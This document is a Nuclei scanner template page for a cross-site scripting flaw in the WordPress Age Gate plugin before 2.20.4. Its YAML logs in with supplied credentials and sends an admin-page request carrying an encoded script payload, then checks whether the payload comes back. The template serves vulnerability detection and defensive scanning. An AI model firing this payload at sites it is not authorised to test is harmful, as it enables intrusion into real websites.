WordPress Age Gate <2.20.4 - Cross-Site Scripting

ID: age-gate-xss

Severity: high

Author: akincibor,daffainfo

Tags: xss,authenticated,age-gate,wpscan,wordpress,wp-plugin,wp

Description

WordPress Age Gate plugin before 2.20.4 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes.

YAML Source

id: age-gate-xss

info:
  name: WordPress Age Gate <2.20.4 - Cross-Site Scripting
  author: akincibor,daffainfo
  severity: high
  description: |
    WordPress Age Gate plugin before 2.20.4 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes.
  reference:
    - https://wpscan.com/vulnerability/a13148fe-ffc9-4003-a44d-652624ba5535
    - https://wordpress.org/plugins/age-gate/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: xss,authenticated,age-gate,wpscan,wordpress,wp-plugin,wp

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=age-gate&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'Age Gate Restriction Settings'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ab7c1eb2efb3ce04e132836e2731af63c6ce48f5b4a82b8100cad15f436a1b82022076f942b4f716903aad3f72840933bae027fe28d21b2ad43553a965c9b378003c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/age-gate-xss.yaml"

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